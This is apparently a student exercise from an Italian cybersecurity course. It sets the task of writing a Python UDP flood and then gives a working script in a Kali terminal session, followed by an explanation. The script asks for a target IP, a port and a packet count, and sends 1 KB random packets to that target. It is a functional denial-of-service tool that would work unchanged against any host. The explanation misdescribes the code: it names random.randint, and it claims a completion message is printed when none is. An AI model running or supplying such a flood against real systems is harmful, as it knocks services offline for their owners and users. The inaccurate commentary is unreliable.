

ESERCIZIO W7D4

Traccia: Gli attacchi di tipo DDoS, ovvero Distributed Denial of Services, mirano a saturare le richieste di determinati servizi rendendoli così indisponibili con conseguenti impatti sul business delle aziende. L'esercizio di oggi è scrivere un programma in Python che simuli un UDP flood, ovvero l'invio massivo di richieste UDP verso una macchina target che è in ascolto su una porta UDP casuale (nel nostro caso un DoS).

Requisiti:

- Il programma deve richiedere l'inserimento dell'IP target input
- Il programma deve richiedere l'inserimento della porta target input
- La grandezza dei pacchetti da inviare è di 1 KB per pacchetto
- Suggerimento: per costruire il pacchetto da 1KB potete utilizzare il modulo «random» per la generazione di byte casuali.
- Il programma deve chiedere all'utente quanti pacchetti da 1 KB inviare input

```
File Actions Edit View Help
(kali@kali)~$ python
Python 3.11.7 (main, Dec 8 2023, 14:22:46) [GCC 13.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import random
>>> import socket
>>>
>>> def udp_flood(target_ip, target_port, packet_count):
...     # Crea un socket UDP
...     sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
...
...     # Genera un pacchetto da 1 KB con byte casuali
...     packet = bytearray(random.getrandbits(8) for _ in range(1024))
...
...     for _ in range(packet_count):
...         # Invia il pacchetto alla macchina target sulla porta UDP casuale
...         sock.sendto(packet, (target_ip, target_port))
...
...     sock.close()
...
>>> def main():
...     # Richiede l'inserimento dell'IP target
...     target_ip = input("Inserisci l'IP target: ")
...
...     # Richiede l'inserimento della porta target
...     target_port = int(input("Inserisci la porta target: "))
...
...     # Richiede il numero di pacchetti da inviare
...     packet_count = int(input("Inserisci il numero di pacchetti da 1 KB da
inviare: "))
...
...     # Avvia l'attacco di tipo UDP flood
...     udp_flood(target_ip, target_port, packet_count)
...
>>> if __name__ == '__main__':
...     main()
...
Inserisci l'IP target: █
```

Questo codice crea una funzione `udp_flood` che prende in input l'IP target, la porta target e il numero di pacchetti da 1 KB da inviare. Utilizza un socket UDP per inviare pacchetti casuali alla

macchina target. Il pacchetto viene generato utilizzando la funzione `random.randint` per generare byte casuali. Alla fine, viene stampato un messaggio di completamento con il numero di pacchetti inviati.

Nel blocco `if __name__ == "__main__":`, il programma richiede all'utente di inserire l'IP target, la porta target e il numero dei pacchetti da inviare. Questi valori vengono poi passati alla funzione `udp_flood` per essere utilizzati nell'attacco DDoS.